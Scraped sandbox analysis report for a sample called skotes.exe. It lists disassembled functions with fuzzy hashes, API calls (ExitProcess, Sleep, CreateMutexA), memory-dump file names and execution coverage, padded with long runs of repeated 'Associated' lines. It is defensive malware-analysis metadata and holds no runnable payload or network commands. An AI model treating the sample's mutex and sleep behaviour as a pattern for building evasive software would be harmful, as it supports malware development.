Instruction ID: afe7aaedef9b477cd49f5d40b0a21ecfbc6bad82dbbd2b3cf5cd14ab0a22d2eb
Opcode Fuzzy Hash: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
Instruction Fuzzy Hash: DEA1D0B0A01609AFDB20DF74C944BAAB7A8FF55314F04822AF915D7681EB31EA44CB91

Function 0092CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0092CC66

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: d16a4cb6a2d0b0dcdc57006261b4164f1495c400c5e331ca55dc48e39ed1d842
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 81B17AB2D002659FDB15CF28E8817BEBBF9EF45340F15456AE854EB38AD6349D01CBA0

Function 0090BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0090BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BBE4
_xtime_get.LIBCPMT ref: 0090BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BC13

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction ID: b3ba5bbf1bbc20979f1f29c961300d29b36982a226c578bfe629a851ccf3effd
Opcode Fuzzy Hash: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction Fuzzy Hash: F62151B5A0011AAFDF00EFA4CC95ABEB7B9EF49710F100115FA01B7291DB31AD019BA1

Analysis Process: skotes.exePID: 5232, Parent PID: 6552COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	632
Total number of Limit Nodes:	4

Executed Functions

Function 0092652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0092652A,?,?,?,?,?,00927661), ref: 00926566

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cf4cf2f69cb5128af6b6db358ef4346a524ec06fd5d029ac03a06445d24be929
Instruction ID: 57a6e96c990693534a22cb22f3ab62ea02f5fae9ca65e6a2e9a43bd0606596a8
Opcode Fuzzy Hash: cf4cf2f69cb5128af6b6db358ef4346a524ec06fd5d029ac03a06445d24be929
Instruction Fuzzy Hash: 31E086300421186ACE257F18D805E4C7B59EB52745F000814F8048652ECB25EE41C581

Function 008F9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f7cafc6ed875b88f70b178d842a596b4916442c38ce72d9760401a47751a889c
Instruction ID: 0583648d085c706cb1db381e915d69ad13f627e6d47f56a2ea02c9ce6e81dd72
Opcode Fuzzy Hash: f7cafc6ed875b88f70b178d842a596b4916442c38ce72d9760401a47751a889c
Instruction Fuzzy Hash: 13313F717152088BEB08DB7CEC85B7DBB62FBC1324F248618E164D73D5C77559808752

Function 008F9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
